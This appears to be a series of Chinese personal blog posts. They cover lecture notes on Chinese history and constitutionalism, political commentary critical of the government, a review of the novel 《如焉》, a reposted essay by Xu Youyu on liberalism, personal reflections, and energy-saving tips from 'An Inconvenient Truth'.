来听报告的人很多，将近三个小时的报告会，鲜有人提前离场。樊老师比我想象的老，不有趣，我不喜欢，起码没有买他的书的欲望了。报告是围绕中国历史发展中经济和政治的关系展开，樊老师谈晚清中国资本主义萌芽新认识，列举了其他几位学者的研究结论和他本人的观点，即晚清中国没有资本主义萌芽，这个结论本来是毛泽东下的，解放后的研究基本就是围绕着结论转，这种御用历史可以养活好几批教授。观点没什么新的，主要分歧我看还是怎么定义资本主义的问题，黄仁宇的定义比较受认可，具体我还没有找到出处，大概是《万历十五年》的序言，他认为的资本主义更强调一个新的阶层的崛起，一种组织、一种力量的自我发展，而不是简单的雇佣生产方式。但他提到的中国的政权形式是压制商业发展，所谓的“萌芽”也只是纺织业等小手工，这些手工业还往往都是农村剩余劳动力的零机会成本的产物，所以和西方意义的资本主义相差深远，中国那时有商品经济，也可以有经济发展，但不会有资本主义。
另一位历史系的教授谈了主义与财政，引用了一些新材料，让我对中国近代革命这个话题产生了新的思考角度，即什么样的主义才具有合法性，为什么中国近代主义多如牛毛，可最后都是形式主义，还有就是财政是主义发展的基础，他列举了孙中山发行革命债券，蒋介石绑架银行行长等很多“解决”财政问题的手段，财政不解决，主义就只是一句空话，恐怕孙先生的空话绝不只三民主义这么简单了。这种财政和主义的问题在现今中国的社会依旧存在。
刘建军是一位政治学教授，谈得是中国皇权与相权的变化，政治权力与地理空间的转移关系等。前者比较简单明了，即宰相在宋之后的秘书化，成为中国政治结构败坏的一个重要转折点。其他他想谈得是权力制衡，明清皇权越来越大，已经没有了制衡的力量，以致现在在中国谈宪政是多么的困难。他的历史地理政治学还只是一个想法，希望他可以做出一些开创性的成果。
科交叉，说话有逻辑。没有宪政就没有法治，这是根本问题。中共一天天在收紧舆论空间，不知道什么时候“宪政”也会成为禁词。此教授告诉大家不要对宪政是去信心，还要期待，说法国德国都是二战之后才宪政民主的，我们还不是太晚，呵呵，希望如此吧。另一为法学教授的补充说的很好，西方有个宗教传统，他们在法律的层面上还有一个“法”的概念，我想应该是“自然法”吧，他们的法律面前人人平等，实际是“法”面前人人平等，是上帝面前的人人平等，中国没有这个“法”，中国的历史只有“律”，“律”是整人的手段，是一种工具理性，为统治者服务。西方的法来源于罗马法典，是保障个人权益，维护社会正义的原则，中西方在这个传统上分歧还是很大的。但我们看问题之所以要有世界的眼光，就是因为尽管人类社会的发展各有特色，决不一致，但总有一些普适的原则，比如民主、人权、宪政、自由等，不能因为文化传统的不同，就否认共识，否则后果可能是很危险的，否认这些原则，我们就会永远成为奴隶。美国必须成为我们学习的目标，但没有国家可以复制美国的成功。187注：本文说出了我最近最想说的话，我就做一些注好了。说实在的，我就觉得胡某脑子进水了，整天“和谐”，如今“和谐”已经成为“天安门坦克”“三个代表”“GFW”等词之后又一个无耻到极点的词语，希望胡某可以珍惜点自己的名声，不要再玷污汉语有限的资源，不要再糊弄中国人可怜的萎缩的头脑。真不知这么一个说话有如背社论，喜欢别人来拍马屁，还以为自己很NB的人是怎么上台的，哦，明白了，你不是一个人在战斗，你和你的核心官僚们，还有你的“典型的”“模范的”“与时俱进的”“科学发展观的”“带三个表的”“方永刚的”“和谐的”“人民的”官僚，引领着我们“走向大国”，“丰富着”着我们可怜的生活。求求你了，没人的时候自己照照镜子，长得帅请去拍电影，中国的机会不多了，不要总是剥夺我们的梦。
请胡主席给铁岭人民一个慰问电
石巍
4月16日美国佛吉尼亚理工大学发生了枪击事件，包括抢手在内共33人不幸遇难。消息传来，震惊了美国整个社会。事件发生后，美国总统立即发表电视讲话，向死难者默哀，国会中断了正常议程，全体议员起立为死难者默哀。次日，布什总统下令全国降半旗至22日日落。当天下午，总统和夫人一起出席理工大学万名师生和家属在该校篮球场举行的追思仪式，布什致词，以一个父亲的名义与死难者家属共同分担悲痛。18日晚上理工大学举办了烛光晚会。与此同时，全国各地电视台一遍又一遍地播送那首古老的哀乐Lights Out，刊发罹难者的照片，以示悼念。教堂里传出了为死伤者祷告的低回哀婉的声音。在许多城市和乡村，特别是一些校园里，可以看到呼唤亡魂的黄丝带。全社会沉浸在一片哀伤痛楚的气氛中。这显示了美国上至总统下至平民百姓对生命的敬畏，对逝者的追思。
最近一直没有更新Blog，让大家失望了，在这里赔礼道歉。忙的老话不说了，还是想想应该给大家分享一些什么样的文字吧。感谢几位朋友提醒我坚持更新Blog，这是一份让我珍惜的关注。
先列个表，看看自己还能想起一些什么有意思的话要说。
一直期盼Picasa Web可以大度地开放存储空间，以前只有200M，可以存放的相片太少了，后来不得不分别申请了好多的帐号，比如yiming.travel yiming.friends等。
刚刚验证了消息，目前Picasa已经升级到1G，并表示还会继续增加，继续期待，Picasa不能倒呀。更期待GDrive哈哈。
这几天忙完得整理一下相片集，到时候和大家分享，也希望大家都能试试Picasa。
母校，每个人都有，我也相信，每个人对母校的感情都不会相同，怀念或否定，深沉或忽视。
很长一段时间以来，我都尽量不去想她，吉林大学。我想念我的同学，想念给我留下美好印象的老师，但很多时候也会想到那些让我恶心的官员（他们不配叫老师）。
今天发现可以访问吉大的上海校友会论坛了，上次访问还是半年前刚来上海的时候，后来不知什么原因一直无法访问，也耽误了校友的聚会，我以为又是类似牡丹园的情况，自封了呢。对了，牡丹圆咋还不让看呢？
在论坛里看到了一些南区的照片，照片很生涩，也不清晰，是北门。但就是那种模糊突然有了让我去抚摸她的冲动，似乎大门上每一寸面积都有我留下的故事与希望。我知道，我想她了，想的越来越多，想回去看看了。
表面看来我是那个环境的受益者，取得了说得过去的成绩，交了一些可以交流的朋友，也获得了很多本不该自己的荣誉，结果我还是不满意，这种自我的烦恼大概与我的性格气质有很大关系，我喜欢完美的东西，却忽视了自我的完美，我过多的批评，招致了很多的不理解。这里其实可以说很多，但我知道，还不是时候，我还没有足够认识自己。
昨天看的，一口气读下来很过瘾，就是不知道大家是否还能买到。
我缺乏表达读后感的能力，只好先转一篇类似的文字给大家看看吧 。
作者：胡发云 武汉市人 1949年出生
中国作家协会会员
毕业于武汉大学中文系
插过队、当过焊工、车间统计员、厂工会干事
六十年代初开始学习诗歌与音乐创作、并发表习作
八十年代初开始发表小说、散文、随笔、纪实文学作品
现为武汉市文联文学创作所专业作家
编者按：《如焉》全名是《如焉@SARS.COME》,是胡发云的第一部长篇小说，发表于2006年第一期《江南》杂志，之前已经通过网络和打印本的形式流传．有媒体认为这部小说涉及不少诸如网友聚会，网聊等时尚元素因而可读性很强，也有人认为这是一部官场小说．不管怎么样，你只要读完它，就会发现它并不那么简单．
第一次读《如焉》在电脑前，直读到凌晨两点半。让我废寝的是一个强烈的疑问：究竟是什么力量让相互吸引彼此爱恋着的两个孤苦伶仃人背弃了对一场婚姻的承诺？他们都已过不惑有着良好的教养对人生对情感的态度足够沉稳踏实，他们绝不会像某些年轻人那样轻薄地疯玩感情游戏，但他们真的没能相儒以沫携手共度余年。那晚关机后，二十几万的文字只在我心中贲张突兀成两个字：政治。令人窒息的政治！
第二次读《如焉》,是在老家的小屋，手捧打印出来的９８张散着淡淡墨香的纸，慢慢地读，细细地品。
小说由两条主线构成：一是以卫老师为中心的达摩、毛子等几位“青马”成员对中国
现当代几个重大历史事件的剖析以及他们在二十世纪八十年代后的生活与思想的变化。二是植物研究所工作人员茹嫣与副市长梁晋生的一场非典型爱情。
小说理性地思考了历史事件，尖锐地涉及了政治问题。一直以来有关政论时评的新闻和言论，我都不愿意看，怕太假，更怕太真！至于那些诸如此类的文字就更不想看了，总觉得它们太过理性，枯燥乏味毫无情趣。但《如焉》里的一大段一大段这样的文字，却让我喜欢看也看得懂。主要原因大概是因为那些事件都是我所听说过的经历过的或者正在经历着的,直观而又鲜活。还有便是因为小说把理性潜藏于诗性之中，并赋予它们人性化，让你感觉不到它的生硬。对于时事，我真的不是很懂，也不愿意去懂，但听着卫老师、达摩他们这么犀利沉重地剖解着那些与国人命运息息相关的事件时，还是有一种浑身通透的快感。
小说为我们提供了四种人：思想中的人，政治中的人，情感中的人和网络中的人。主要人物有卫老师、达摩、毛子，还有赵姨、江晓力、茹嫣和梁副市长。我就以自己的感悟去解读这些人物。
卫老师：这是一个至情至性的思想者。他37年参加革命，革命成功后当过宣传部长，文革时被批斗游街，直弄得家破人亡。作为那一代人，卫老师的人生经历是很典型的，但他的思想轨迹却仅是个案。因为大多数人从文革的煎熬中挣扎出来后便都在体制的压力下渡过“幸福”的晚年。卫老师当然也有过恐惧和彷徨，但他最终坚持了独立的人格和自由的思想，追寻着普世的价值和生命的终极意义。可以说他已经超越了一种狭隘的集团利益，真正拥有了共产党的情怀！
小说还展示了卫老师的情感生活：他并不喝茶，却在大多数人的工资都只有三五十块钱时坚持定期购买每两两块多钱的特级香片（一种最好的茶叶），“即便到了山穷水尽之时，也决不降格”。无论黑夜还是白天，痛苦还是幸福，他都随身带着这一罐茶叶，一直到老，只因为这一罐茶叶里藏着一位女子的心香。还有他与赵姨的那段深厚沉静的黄昏之恋，这些刻画都让他更加可亲可敬。
达摩：“草根身份，贵族情怀”。达摩给几家电器商场做售后服务，有时也自己接些活，典型的工人阶级，城市里最普通的平民。达摩打小就爱看书，在那个大力摈弃知识文化的大革命时期，童年的他却不声不响地从父亲茶叶店的包装纸上阅读着文字，获取着信息，汲取着知识，得到了比别的孩子多得多的东西。他当了五年知青，八年工人，但一直没有放弃读书的机会，读了十几年杂书闲书黄书黑书。后来达摩又留守兼职过的职大当看管员，在那里的图书室对着当时唯一的一台386完成了他的电脑入门教育，从而拓宽了他读书和获取信息的途径。正是有了这样一段漫长的“面壁”的历程，才修炼出了这样一位“达摩.克利斯”。
如今的达摩，又短又平指缝里还有些没洗净的油渍的手能敲打出一行行不温不火却极有张力的文字，编排出一篇篇高远宏大锐利深刻的文章；谈笑间能“道出哪怕是一些正经专家学者也说不出来的话来”；能在“不经意间用极简略的方式给你化解心中的块垒”。最难得的是他“看淡一切浮名俗利的心境”和“不屈不挠的战士姿态”。他不像某些人稍有几分才气就把自己当作珍珠每每滋生出许多怨艾，更不像某些人高举旗帜阔谈真理其实却两股战战最终匍匐在地。然而正是这样一条有思想有见地一身正气满腔热血的汉子却进不得社科院去搞研究做学问，他的观点和激情只能飞扬于网络，而他的语思论坛却又一次次地被封杀。用达摩自嘲的话就是：我是个野狐禅，是入不得人家正席的。
毛子:“毛子不是一个坏人，更不是一个小人，他只是一个漫长的时代慢慢打造出来的人”。毛子曾是青马组织里的积极一员，是与达摩一起读书思考的年轻异端分子。然而八十年代末的那场变动让毛子“疯”了，“疯”后的毛子就脱胎换骨了。先是在九十年代初，他神不知鬼不觉地入了党，然后向直接领导贿赂了一篇文章，这算得上是送礼的最高境界了。接着又发表了一本以马克思主义原理阐释某重要领导人的改革思想的书。从此毛子便青云直上，名利兼收，完成了一个知识分子从“理想主义” 到“犬儒主义”的蜕变。“恐惧常常比灭杀更有力量”，那一场“惊心动魄的恐惧从根本上改换了毛子的灵魂”。
江晓力：一个婚姻掠夺者，一名政治投机家。她爱梁晋生，爱得执着，爱得疯狂。当她求爱无望后便倾心尽力地促成梁晋生与茹嫣的好事，对于一个女子而言，这多少有些悲壮了。让江晓力决定并实施掠夺的导火线看似非典时期茹嫣那几个把梁副市长逼往绝路的帖子，其实不然，真正的原因是茹嫣得知了她对梁晋生那份落花有情而流水无意的尴尬情愫。“这让她觉得突兀又难堪，好像被一个衣饰华丽的漂亮女人突然看见自己穿了一双破袜子一样”，“从此心里便种下了一个大疙瘩，耿耿于怀不可去除，随时间推移越长越大”。这个由羞恼嫉恨郁积而成的疙瘩最终被演变成一场掠夺和阴谋。
江晓力的政治领悟力也如茹嫣之于文字一样，是一种天赋。在非典这个没有硝烟的战场上，她所有的政治灵感都被她那“恋人的痴情更加上母性的疼爱”给点燃了，并最终取得了巨大的胜利。只是婚后的梁市长是否还会有雅兴偷得半日闲去陪她看月亮，他们是否真的会如她所说“开始他们事业和人生的第二个青春期”，这些自然都是后话，不得而知了。
赵姨：“一个心里极明白也极宁静的人”。一如陪伴了卫老师半个世纪的那听茶叶，静静默默中散发着恬淡的幽香。她在临近晚境时才遇到卫老师，开始一段温馨隽永的生活。当茹嫣问她有没有因为得到太晚而惋惜过时，赵姨如是说：一个人是否幸福，不在于她得到了多少东西，而是她得到了自己最想要的东西，不在于得到的时间有多长，而在于终于得到，从此不再失去。幸福这一意义被她诠释得如此纯净如此透彻！从某种角度说，赵姨是另一个茹嫣，是一个实现了情感理想和生活理想的幸福的女人，她们的幸与不幸只是因为赵姨遇到的是卫老师，而茹嫣遇到的是梁市长。
梁晋生：儒雅自信，气质口才皆佳，洁身自爱，经济上相对清廉，堪称当今官场中的极品；温情浪漫，会体贴懂情趣，是女人心中的男人。他爱茹嫣，中秋夜看月亮，除夕夜守岁，千里迢迢只为送热狗，焦头烂额不忘情人节……他对茹嫣是真的动了情用了心的。但他更爱自己，在现世的功名前，在荣升还是归隐的抉择前，他几乎是毫不犹豫地背弃了茹嫣，背弃了对那场婚姻的承诺。当茹嫣为他焚心煮骨地痛时，他却春风得意荣归故里去当他的梁市长了。对那段他经营过的爱情，对那场他亲许过的婚姻，没有一个解释，没有一丝愧疚，连一句从此别去的话也没有。此人此心，真是虚伪到了极点，自私到了极点，冷酷到了极点！而这些，恰恰又是一个政客所必须的，梁晋生是一个好政客。
茹嫣：人如其文，文如其人。“一个人文字好不容易，这是一种天赋，就像一个人唱歌，把音色唱好听不难，把旋律唱准确也不难，把歌唱出味道来，就难了。”茹嫣对文字有一种天然的感觉，因此她的文章是雅致而灵动的，是浑然天成的。在非典时期，茹嫣又用她独特的感悟，近乎宗教般的情怀来解读一系列事件，使她的文字充满了力度和张度，蕴涵了深刻的哲学意味，感性的哲学。茹嫣爱梁晋生，爱得彻底，爱得绝望。但她始终没有因为个人的私情而放弃说真话的立场，她以为梁晋生是与她一样的人，所以在痛不欲生的等待中，在凄凄惶惶的反省中，她惟独没有想到的是自己的那些性情文字对一个官场中人的伤害。茹嫣的爱情毁灭了，毁灭在她可贵的正义感和独立的思想中，然而她身上这些最优秀的品质并没有因此而终结。当看到“一个中国小女孩因母亲被强制戒毒而惨遭遗忘以至活活饿死”时，“茹嫣又猛烈地痛起来。痛是一种无法强制戒掉的感受”。尽管这种痛这种思想是多么尴尬地存在于这个社会。
读完《如焉》，心里尚有一个疑问：那个“狐狸精”，那突然冒将出来的ＱＱ信息究竟是谁？江晓力？枫叶红？好像是，好像又不是。不想了，真真假假，虚虚实实，扑朔迷离才是真实的网络，网络的真实。现实又何尝不是这样的呢？
曾经的痛苦和欢乐都过去了，将来的痛苦和欢乐也终将要过去的，网事如烟，如烟往事，就让所有的哀怨与纷扰就这样飘散了吧，一笑而过。
又过年了，我和年的距离也越来越远了。
不愿意写回忆性的文字，过去做得总是失误太多，遗憾太多，不想去说了。
一早收到很多朋友的短信，尽管都是套路性质的，我还是很感谢大家，我大都以“谢谢”Reply了。
今天安装了Beryl，原以为很复杂，没想到都很顺利，算是给自己的新年礼物吧。
初三就回学校了，耽误了好久的工作必须做了，继续反省自己。
今日在家无聊，在迅雷上找些好玩的东西，发现其中有很多不错的电子杂志可以看，既然人家可以把文章用如此丰富的方式表达出来，我们为什么不行呢？
我想做电子杂志，主要目的不是丰富，而是表达。我觉得大学的同学毕业有半年了，彼此的往来太少了，我天天都会想大家是否过得好，最近在忙什么，有什么需要帮忙的。如果有一份杂志，用它来传达我们每一个人的问候，每一个人的期待和祝福，讲述每个人的故事，记录我们曾经有过的嘻笑怒骂，鸡毛蒜皮，这就是一件很有意义的工作了。
工作的难度有二：首先是大家愿意写东西，或者愿意分享照片，足够的素材才能组织成故事；其次是需要人力才制作成杂志的风格，提高可读性。做到这两点，大家就会愿意读，杂志也才有了生命力，我们会把杂志和其它的朋友分享，和家人分享，我们不再寂寞，我们不再疏离。
内容我觉得只要是我们这个集体喜欢的，我们就可以写。比如我会设计如下几个栏目：
“集体的回忆”：讲述集体生活中的一些故事，特别是故事中的故事，鲜为人知的故事（难度比较大）。比如讲述在毕业照背后的故事等等。
“博文精选”：大家开博的不少，这个栏目可以组织一些受到大家关注的文章。比如“小崔说事”呀
“其人其事”：以人物为专题，比如每期选择一两名为对象，邀请他人为其写“传”，配以独家图片、视频等，让我们更加深入的了解彼此。比如“舞动的灵魂”（大伙还记得毕业时那次通宵唱歌时某位帅哥的舞姿吧）
“同屋的你”：以寝室为专题，谈一谈寝室内部的故事，比如卧谈会，小摩擦，我觉得这里有很多可以讲，甚至有很多道歉的话要在这里说。
“今日精彩”：刚才很多内容都是用来回忆的，我们还要看今天，看明天。这个栏目就是讲述大家现今生活的，你的每一天，也是我的每一天。
“有事没事”：这里贴一些需要帮助的信息，比如XX有个想法，希望得到大家的意见，XX有了意中人，大家给把把关等等。
我喜欢的编辑模式是每次由不同的人来负责约稿，组稿，制作，发行，此人可以组织制作小组来执行，这样让每个人都可以成为题材的选择者，视角的决定者，让故事更加多元，才更能体现杂志是我们大家的杂志这个特点。但可能可行性不高，不确定有多少人有这个热情，会有这个精力来做这件事，或者认为这件事好玩，有用。这种模式不行就得成立专门的制作小组，这个没什么可谈的，太普通，太老套了。
其实最后的制作不算复杂，已有的工具已经可以很容易制作，如果材料充分，一天不到就可以做出近乎完美的风格，我担心的主要是大家是否愿意做这件事。
最后还得强调我的缺点，我这人想的多，但做的少，缺乏持久的执行力，因此这次我不能再大张旗鼓的宣传这个想法，我想现在这里描述一下，希望能更多听听大家的想法，也试着做做看看难度怎样。
我很喜欢这个想法，你呢？
好久没有更新了，一直不知道说什么。
这次回家连邮带背带回了将近六十本书，都是这个学期买的，可以说把大部分零用钱都买书了。我这人兴趣不多，买书，读书能给我带来精神上的满足，我觉得很值。
回家这段时间哪里也没有去，实验室的工作全部都放下了，每天读读书，难怪父亲到现在还在担心我不学习，最近的兴趣确实不在专业上。
心情不好是因为感受到了一些外界的压力，我本来在douban办了一个“禁书小组”，整理发布被GCD封禁的书籍，花了大量精力找了差不多500M的书籍，上传到网络，供下载。当下的舆论环境看来远没有想象的好，网站经常被封，后来是“小组”被封，然后看到老贺Blog，“丑陋中国”等纷纷受到压力被删贴，我知道，现实依旧残酷。我如果不妥协，不保护自己，我也会受伤，我暂时还离不开这个体制。
我的气质也许决定了我必须去感受那些沉重的、严肃的东西，这种性格引我去思考。我知道我的自封网站的行为是妥协，是犬儒，可我还能怎么办呢？
作者：徐友渔
90年代，中国思想文化格局发生了巨大的变化，80年代被学界一致认可的现代化导向，人道主义的价值观，启蒙的风气与潮流，对科学、民主、理性的认可和倡扬，均受到深深的质疑和猛烈的批判。80年代的思想主流被斥为知识分子对西方殖民话语的臣服（这是以另一种方式批所谓“全盘西化”论），大半个世纪以来一直被视为理所当然的进步的“五四”传统，开始被否定和清算。在这场民间色彩甚深的思想学术角力中，我全力以赴地捍卫“五四”的启蒙传统和80年代的新启蒙运动。对垒一直存在，阵线越来越分明，分歧越来越尖锐和深刻。在争辩中，我已在学理上作了许多阐述。我认为双方观点的对立与个人经验有关。学术立场的不同和代际差异有明显的对应关系。年长的学人，对科学。民主、理性的认同是不言而喻的，启蒙是未竟的事业，现代化是值得献身的目标。但新出现的后现代主义，却以种种奇谈怪论企图消解公认的理念和准则。
作为当代西方思潮的研究者，我清楚后现代主义和解构主义登陆中国的思想背景。我对这种思潮后果十分忧虑，但我不愿把事情说成是对立双方的动机有善恶之分，我不时反省自己的立场，挖掘自己的思想根源，严厉盘查自己的经验。
中国的解构主义者和“后”学家们宣称，启蒙不过是近代西方的神话，科学、民主、理性是资产阶级的意识形态。这些理念预设了真实与谎言、光明与黑暗的二元对立，预设了普遍的人性，普适的价值标准。这些预设和普遍主义原则其实是不能成立的，它不过是反映了中国知识界迷恋现代性而不能自拔的精神状态。对上述说法抗拒的动机和批驳的理念资源首先来自“五四”传统，但对方把“五四”新文化运动也归结为西方思想文化扩张的结果。我自问，我对西方文艺复兴狂飓突起冲破黑暗，打碎桎梏的思想解放运动的神往，被陈独秀、李大钊、鲁迅、胡适的文字感动，原因何在？如果只有阅读经验，那它是否经得住解构的拆卸和侵蚀？
所谓启蒙，按康德的论述，就是人摆脱不成熟状态，敢于运用自己的理性，摆脱权威的束缚。我经历过大跃进、人民公社运动（虽然当时年少，但对所发生的事记忆犹新，足供现在反思），经历过文化大革命。我知道人类历史上确实存在理性黑暗时期，数亿人似乎只有一个脑袋，其余的人岂止是不成熟，其狂热、盲从、迷信简直有如白痴。那时，全国的报刊宣传粮食亩产不是平常的400斤、600p斤，而是几万斤，十几万斤，但到头来饿死几千万人；那时，人们必须唱语录歌，跳“忠字舞”，每天早请示、晚汇报，因为打碎一尊领袖塑像，污损一张领袖画像而被捕人狱；不少人因为探讨真理和讲出真话而惨遭迫害失去生命（比如遇罗克、张志新）。甚至在宣布黑暗已过，新时期到来之后的70年代末，还有人因为坚持批评领袖的错误而遭枪杀，还会因为主张“实践是检验真理的标准”这种常识而发生反复、曲折的斗争。
我的生活经验告诉我，在中国，理性随时可以离失，科学还需努力坚持和推行，民主是一个尚待实现的梦，因此，启蒙是数代知识分子努力的方向。由此上溯至本世纪初，可以肯定“五四”新文化运动必然合理，是中华民族在现代觉醒的第一步。五六十年代的悲剧表明启蒙精神的丧失会造成多么严重的后果，90年代初各种“后”主义的泛起，其客观效果是要中断80年代新启蒙的合法性。
90年代初，我在上海与一批学者聚会，当我提到“文革”、奥斯维辛集中营、法西斯时，一个致力于“后学”的年轻人轻蔑地拒绝我对以上事件的价值判断，他说，那些事件和历史上任何其它事件一样，都是文本、符码，供后人从任一角度解读、解构、阐释，不能把善与恶、光明与黑暗等价值加在它们上面。我惊愕得几乎无话可说，我只想知道，如果他经历过那些残忍与迫害，是否还会坚持那种轻松、超脱的“后话语”？！
在90年代中期，有“后学家”把一些老知识分子控诉“文革”，披露自己遭遇的作品斥为揭家丑，讨好西方。有“新左派”理论家主张可以从“文化大革命，七八年又来一次”中吸收制度创新的启发因素。对此，我深感悲哀，我希望他们能够把五六十年代的中国政治运动弄清楚之后再发高论。
阅读经验是个人经验的一个重要方面。我发现，后学家们大多有贪新追潮的习惯，他们对西方学术只知其流，不知其源，只对20世纪的二流著作作一鳞半爪的了解，对十八、十九世纪的经典文献无暇顾及，逞论更古远的典籍；只从文学作品的解读技巧中吸收养份，对科学、宗教、形而上学的背景十分隔膜。他们把当前美国大学校园中政治文化泛起的杯水风波当成西方思想文化的主流，对西方思潮的历史流向缺乏整体、宏观理解，从而缺乏健全感和均衡感，抓住一点，不计其余，无心去理解整体结构，而津津乐道于某些征候和隐喻。我坚信，就像经济、历史发展阶段不可跨越一样，上一世纪的西方思想学术成就对今日中国的文化建构仍未丧失其意义。
重温自由主义
90年代中国民间思想文化舞台热闹非凡，文化保守主义、文化民族主义、后现代主义、新马克思主义等等纷纷登台亮相，这些不同角色都有一个共同点，就是对于启蒙精神、现代化导向和全球化趋势表示质疑和不认同。这种倾向令人忧虑，惟一能援引的、理智而现实的思想资源是自由主义，对中国人而言，重温自洛克一路下来的古典自由主义，很有必要。从正面和建设的意义上说，市场经济和政治体制改革——其最终和主要目标应该是达致宪政体制——也需要参考借鉴自由主义的思想和学理。
提起自由主义， 我们只能说是“久违”了。“五四”的先驱和主将大多具有自由主义倾向，甚至有坚定的自由主义信念，自由主义之花在三四十年代一度开得相当繁盛，但在本世纪下半叶却销声匿迹。究其原因，从外部讲，这种理性、温和、改良的思潮在人民群众武装革命的疾风暴雨中不合时宜，被冲得七零八落；从内部讲，中国近代的革命气氛和环境禀承的是法国的激进主义和浪漫主义，德国的整体主义和神秘主义，以及俄罗斯的带宗教情绪的绝对主义和自省偏爱。对大多数中国知识分子而言，认识到重提自由主义的必要，需要有一种善于审时度势的能力，以及从上述精神气质中实现蜕变的勇气。总的说来，就是要在“可爱而不可信”和“可信而不可爱”（王国维语）二者中，把重心从前者转移到后者。
对我来说，实现这种转换在精神气质上的障碍要小一些，因为我对英国经验主义传统有兴趣和研究，不论是对古典的休漠哲学，还是对现代的罗素的思想。早在70年代，我就以极大的兴趣读过罗素的《西方哲学史》，他对经验主义的推崇和对浪漫主义的批判给我留下深刻印象，亦促动我的思考。罗素在书中说：“从卢梭时代以来，自认为是改革家的人向来分成两派，即追随他的人和追随洛克的人。有时候两派是合作的，许多人便看不出其中有任何不相容的地方。但是逐渐他们的不相容日益明显起来了。在现时，希特勒是卢梭的一个结果；罗斯福和邱吉尔是洛克的结果。”
当然，生活经验，尤其是对于“文革”教训的反思与总结，是对各种主义作取舍的重要因素。也许有人会说：囿困于这种经验是否会造成思想的单一性和局限？我当然十分重视其他经验，比如从阅读中得到的间接经验。但是，在某种意义上可以说，“文革”是以10亿人的身家性命为代价，以国家的命运前途为赌注进行的政治和社会实验。“文革”中，人性的善恶，生命的脆弱和坚韧，社会的弹性和支承力，文化、意识形态。语言的威力和虚妄，都被推到了极致而暴露无遗。人类和社会本来不应该像自然和物质一样被用作实验的，但一旦不幸作了实验，从史无前例的浩劫中，就应当尽可能获得前所未有的观察与经验。事实上，对于“文革”的经验，我们是总结和利用得太少，少得与其苦难和代价不成比例。
顾准的思想从理想主义转变为经验主义，从革命民主主义转变到自由主义，也是以“文革”为契机，他的切人点是直接民主的问题。而对像我这样曾经带着理想主义投入运动的人来说，转变的原因则是对“彻底砸烂旧世界，建设崭新世界，塑造一代新人”的动机和后果感到痛心疾首。“文革”的最大魁力是，其发动者宣称要铲除一切不正义和不道德，建设一个没有剥削、压迫，没有官僚主义、贪污腐化，人与人之间没有任何高低贵贱之别的，与任何旧时代、旧制度彻底决裂的崭新社会。为此目的，需要彻底改造人，塑造一代无私无欲，随时准备为革命理想而献身的人。这种理想产生的魁力吸引过古今中外的志士仁人，“文革”破产之后，西方一些左派知识分子仍感失落和恋恋不舍。对我而言，“文革”犹如一场恶梦。
我终于明白，社会是一个有机体，其发展变革主要依赖自生自发秩序的作用与扩展，它不是积木，可以凭一时忽发奇想推倒而重新堆砌，社会的生机在于其中不少领域的自治，不能粉碎一切中介结构，让领袖的意志从上至下贯穿到底。经过痛苦的思索，我最终承认，人是有意志、有尊严的主体，不是可以任意雕刻、塑造的材料。人固然生活在社会中，但有一些领域，诸如思想、言论、财产，是绝对属于个人神圣不可侵犯的，不论以社会正义的名义，还是以道德的名义，都无权剥夺人的基本权利。人不是天使，也不是魔鬼，人性中确实有缺陷和晦暗之处，但不应该，也不可能强迫人“脱胎换骨、重新作人”。人性的恶只能以制度来约束，合理制度的基本要素是承认并保障人的某些不可剥夺的基本权利，认识到掌权的人和普通人一样也有缺陷，因此权力不可无限制地扩张，而应当相互制衡。由此可以得出结论：
人类只能寻求一种最不坏的制度。以达致最好制度为目标或口实而不惜社会动荡和流血，其结果往往是暴政。人类永远要警惕那些自称掌握了历史进程规律，手握绝对真理的人，这种人以历史和人类为名义搞大破大立，实则草菅人命。
去年底去世的当代思想家、自由主义大师伯林极其看重思想观念的力量，他引证德国诗人海涅的话说：一位教授在他宁静的书房中孕育出来的哲学观念，可能毁灭一个文明。我以为这话有些过甚其词，尤其是在今日电子传媒和大众文化时代。自由主义思想家面对一个悖论：他努力促成这个时代的来临，同时也使自己的话语失去召唤力。平庸的时代会使思想者感到寂寞，但如果只能在它和神权政治之间作选择，答案还是一目了然。其实，当今中国离流行文化的一元化和霸权地位还相距甚远，虽然在某些地方和领域已初露端倪。中国目前还需要思想，不甘平庸的人任重而道远。
我总有很多疑问，只好慢慢问大家。
我们的社会是在进步吗？进步表现在哪里？谁在创造进步？真的，都有谁呢？他们是怎样让这个社会在进步呢？
如果存在这种进步，那么谁在享受这种进步呢？谁应该享受这种进步呢？
我们的社会真的在进步呢？
近日的帖子都太严肃了，今天调和一下气氛，也调动一下大家的想象力，特别是众位刚友们。
贴几首小诗，仁者见仁，智者见智，You may find XXX !
中文翻译是《难以忽视的真相》。晚上一口气看了这部影片，开始以为只是普通的纪录片，看过之后的感觉却完全不同于普通影片。正像有的介绍中说的那样，这是06年最大的恐怖片，让人看完久久不能平静，始终沉浸在一种震撼之中，有些超出想象，让人欲罢不能。
影片是以美国前副总统戈尔所做的关于全球温室效应问题的演讲为基础，并结合了一些电影的手法，将戈尔的个人经历穿插其中，一方面凸现了戈尔的人格魅力，更重要的是提高了这部影片的说服力，这个震撼不仅仅来源于事实，更来自于我们对于事实的忽视。
以前印象中只知道戈尔是副总统，是位政客，没想到他在环保方面做了这么多持久性的研究和努力，有毅力的人是容易获得他人尊重的。他同时也是如此的幽默、平易近人和有说服力，让本来很沉重的话题讲的时而诙谐，时而振奋人心，丝毫不会觉得时间的冗长和内容的严肃。
我不需要去描述温室效应是怎样的情况，也不需要警示明天会发生什么，一切都在影片中，希望你一定去看看，这是我们每个人的一份责任，因为我们生在地球。
What you can do（部分节选自http://www.climatecrisis.net/takeaction/whatyoucando/) 
Replace a regular incandescent light bulb with a compact fluorescent light bulb (cfl) 将普通的白炽灯替换为节能日光灯
CFLs use 60% less energy than a regular bulb. This simple switch will save about 300 pounds of carbon dioxide a year. If every family in the U.S. made the switch, we’d reduce carbon dioxide by more than 90 billion pounds! You can purchase CFLs online from the Energy Federation.
Move your thermostat down 2° in winter and up 2° in summer 空调夏天恒温提高2度，冬天降低2度。
Almost half of the energy we use in our homes goes to heating and cooling. You could save about 2,000 pounds of carbon dioxide a year with this simple adjustment. The American Council for an Energy Efficient Economy has more tips for saving energy on heating and cooling.
Choose energy efficient appliances when making new purchases 购买电器时选择节能产品
Look for the Energy Star label on new appliances to choose the most efficient models. If each household in the U.S. replaced its existing appliances with the most efficient models available, we’d eliminate 175 million tons of carbon dioxide emissions every year!
Use less hot water 少用热水
It takes a lot of energy to heat water. You can use less hot water by installing a low flow showerhead (350 pounds of carbon dioxide saved per year) and washing your clothes in cold or warm water (500 pounds saved per year) instead of hot.
